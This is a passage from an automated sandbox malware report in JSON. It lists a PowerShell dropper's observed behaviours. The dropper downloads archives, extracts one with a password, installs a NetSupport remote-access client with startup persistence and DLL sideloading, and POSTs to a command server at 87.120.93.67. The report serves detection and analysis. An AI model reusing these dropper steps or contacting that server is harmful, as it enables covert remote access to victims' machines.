Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Nfservice (UID: 00000000-00004744)\n \"7z.exe\" called \"CreateDirectoryW\" with parameter .\\ns (UID: 00000000-00000400)\n \"neservice.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\NetSupport (UID: 00000000-00002888)\n \"neservice.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\NetSupport\\NetSupport Manager (UID: 00000000-00002888)","id":"api-122","level":"informative","mitre_attack_id":"T1074.001","name":"Calls an API typically used to create a directory","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-403","level":"informative","mitre_attack_id":"T1056","name":"Contains ability to register/read input devices (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$2f","id":"api-233","level":"informative","mitre_attack_id":"T1486","name":"Calls an API typically used to import cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$30","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00004744)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00004744)","id":"api-284","level":"informative","mitre_attack_id":"T1489","name":"Opens a handle to the specified local process","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"7z.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"neservice.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"neservice.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$31","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00006340-16389-195-010C8703\n GetSystemInfo@KERNEL32.DLL at 00000000-00006340-16389-423-010D35F9","id":"stream-86","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about the current system","origin":"Hybrid Analysis Technology","relevance":4,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004744)","id":"api-296","level":"informative","mitre_attack_id":"T1497","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004744)\n \"neservice.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00002888)\n \"neservice.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002888)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API (Indicator: \"announcement from %s [announcer-apptype: 0x%x] [target-apptype: 0x%x] [flags: 0x%08x]\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-770","level":"informative","mitre_attack_id":"T1069.003","name":"May be able to execute Exchange Online Remote PowerShell Modulee","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"neservice.exe\" searching for class \"NSMWClass\"\n \"neservice.exe\" searching for class \"Shell_TrayWnd\"","id":"api-70","level":"informative","mitre_attack_id":"T1010","name":"Scanning for window names","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$32","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$33","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$34","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-241","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to download a file from a URL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$35","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4744)","id":"api-1","level":"informative","mitre_attack_id":"T1562.001","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"7z.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"7z.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"neservice.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"pcicapi.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"AudioCapture.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"remcmdstub.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PCICL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"TCCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"HTCTL32.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"PCICHEK.DLL\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","id":"static-153","level":"informative","name":"Uses 32 bit executable PE","origin":"Static Parser","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"$36","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-546","level":"informative","mitre_attack_id":"T1018","name":"Contains ability to retrieve remote session information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp\")","id":"string-603","level":"informative","mitre_attack_id":"T1486","name":"Able to import cryptographic keys (seen in ransomware)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00006340-16389-740-010C4B33\n LoadLibraryExW@KERNEL32.DLL at 00000000-00006340-16389-743-010C4B08\n LoadLibraryW@KERNEL32.DLL at 00000000-00006340-16389-986-010F0D6B","id":"stream-108","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to dynamically load libraries","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Process \"powershell.exe\" with commandline \"-f \"C:\\\\48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin.ps1\"\" (UID: 00000000-00004744)","id":"target-401","level":"informative","mitre_attack_id":"T1059.001","name":"Executes a PowerShell script","origin":"Monitored Target","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$37","id":"memorydump-10","level":"informative","mitre_attack_id":"T1012","name":"Found registry location strings in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 6CBA0000","id":"module-8","level":"informative","mitre_attack_id":"T1562.001","name":"Loads the AMSI (Antimalware Scan Interface) DLL","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"7z.exe\" with commandline \"x at.7z -pppp -aoa -y\" (UID: 00000000-00000400)\n Spawned process \"neservice.exe\" (UID: 00000000-00002888)\n Spawned process \"7z.exe\" with commandline \"\"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\"\" (UID: 00000000-00006340)","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"GET /at.7z\"\n Found http requests in header \"GET /lnk.7z\"\n Found http requests in header \"GET /7z.exe\"\n Found http requests in header \"GET /7z.dll\"\n Found http requests in header \"POST http://87.120.93.67/fakeurl.htm\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP webserver (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-79","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to create a remote thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetShellWindow\" (Indicator: \"GetShellWindow\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CloseShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"NSMShowWindow::m_aProp\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-208","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to show a graphical window (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"Found string \"tscon %d /V /DEST:console\" (Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-785","level":"informative","mitre_attack_id":"T1563.002","name":"Able to access a remote server session","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004744)\n \"7z.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00000400)\n \"neservice.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002888)\n \"7z.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006340)","id":"api-111","level":"informative","mitre_attack_id":"T1134","name":"Calls an API typically used to enable or disable privileges in the specified access token","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-91","level":"informative","mitre_attack_id":"T1056.001","name":"Contains ability to hook/unhook windows functions (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-242","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to close a handle to a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002888.00000001.165813.009B2000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")\n Found string \"Start-Process $exePath\" (Indicator: \"Start-Process\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")","id":"string-250","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to start a process (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found string - \\\\.\\pipe\\PSHost.134147867727899935.4744.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\nsm_ctl32_show_%d\n Found string - \\\\.\\pipe\\nsm_vistapipe%d\n Found string - \\\\.\\pipe\\nsm_%s\n Found string - \\\\.\\pipe\\nsm_dosboxwpipe\n Found string - \\\\.\\pipe\\nsm_dosboxrpipe\n Found string - \\\\.\\pipe\\nsm_vistauipipe%d\n Found string - \\\\.\\pipe\\nsm_printpipe\n Found string - \\\\.\\pipe\\nsm_gdihook_recv\n Found string - \\\\.\\pipe\\nsm_gdihook_send","id":"string-146","level":"informative","mitre_attack_id":"T1559","name":"Found named pipe like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 4744)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$38","id":"string-318","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to load/free library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$39","id":"api-228","level":"informative","mitre_attack_id":"T1027","name":"Calls an API typically used to acquire handle to a key container within a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004744-00000C2C-1527902604\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004744-00000C2C-1527903123\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004744-00000C2C-1529845140\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004744-00000C2C-1529845168\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-908","level":"informative","mitre_attack_id":"T1033","name":"Able to query security token membership for user discovery (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 756B0000\n \"7z.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 740B0000\n \"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 740B0000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"00000000-00006340.00000000.164028.010C1000.00000020.mdmp\")\n Found reference to API \"10805892935,1796,3024,,RtlGetVersion,NTDLL.dll,\"00:42:40.687\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002888.00000000.163893.02DB0000.00000004.mdmp\")\n Found reference to API \"82865039203,1796,3024,,RtlGetVersion,NTDLL.dll,\"00:43:10.718\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002888.00000001.165813.02DB0000.00000004.mdmp\")\n Found reference to API \"155204739726,1796,3024,,RtlGetVersion,NTDLL.dll,\"00:43:40.859\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002888.00000002.167735.02DB0000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-86","level":"informative","mitre_attack_id":"T1082","name":"Able to discover operating system information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateMutex() FAILED - mutex: %s (%d)\" (Indicator: \"CreateMutex\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex() FAILED - mutex: %s (%d)\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"OpenMutexA\" (Indicator: \"OpenMutex\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-354","level":"informative","mitre_attack_id":"T1082","name":"Contains reference to mutex-related activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Possible dll side loading: %LOCALAPPDATA%\\NFSERVICE\\HTCTL32.DLL\n %LOCALAPPDATA%\\NFSERVICE\\7Z.DLL","id":"summary-47","level":"informative","mitre_attack_id":"T1574.001","name":"Possible DLL sideloading","origin":"Indicator Combinations","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"pWSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-228","level":"informative","mitre_attack_id":"T1095","name":"Contains ability to communicate with C2 using Sockets (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-122","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"neservice.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","id":"registry-106","level":"informative","mitre_attack_id":"T1082","name":"Reads system-defined device setup information from registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SetupDiDestroyDeviceInfoList\" (Indicator: \"SetupDiDestroyDeviceInfoList\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-442","level":"informative","mitre_attack_id":"T1485","name":"Contains ability to delete device information set (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-162","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve volume information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET INFO Windows Powershell User-Agent Usage\" (SID: 2033355, Rev: 1, Severity: 3) categorized as \"Not Suspicious Traffic\"\n Detected alert \"ET INFO Request for EXE via Powershell\" (SID: 2043337, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Checkin\" (SID: 2035892, Rev: 8, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Response\" (SID: 2035895, Rev: 8, Severity: 3) categorized as \"Misc activity\"","id":"suricata-0","level":"informative","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$3a","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"string-187","level":"informative","mitre_attack_id":"T1059.001","name":"Observed Powershell command strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found string \".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-410","level":"informative","mitre_attack_id":"T1547.001","name":"References user shell folders registry key string","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-117","level":"informative","mitre_attack_id":"T1049","name":"Contains ability to enumerate logon sessions (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp\")","id":"string-107","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the host's architecture (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$3c","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API GetLargePageMinimum@KERNEL32.DLL at 00000000-00006340-16389-27-010F36E0\n Found reference to API GetDiskFreeSpaceExW@KERNEL32.DLL at 00000000-00006340-16389-153-010C7EC8\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00006340-16389-180-010C800F\n Found reference to API GlobalMemoryStatusEx@KERNEL32.DLL at 00000000-00006340-16389-198-010C8732\n Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00006340-16389-423-010D35F9\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00006340-16389-533-010D6E7F\n Found reference to API CreateHardLinkW@KERNEL32.DLL at 00000000-00006340-16389-1120-010C4FEE","id":"stream-41","level":"informative","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","origin":"Hybrid Analysis Technology","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; Source: 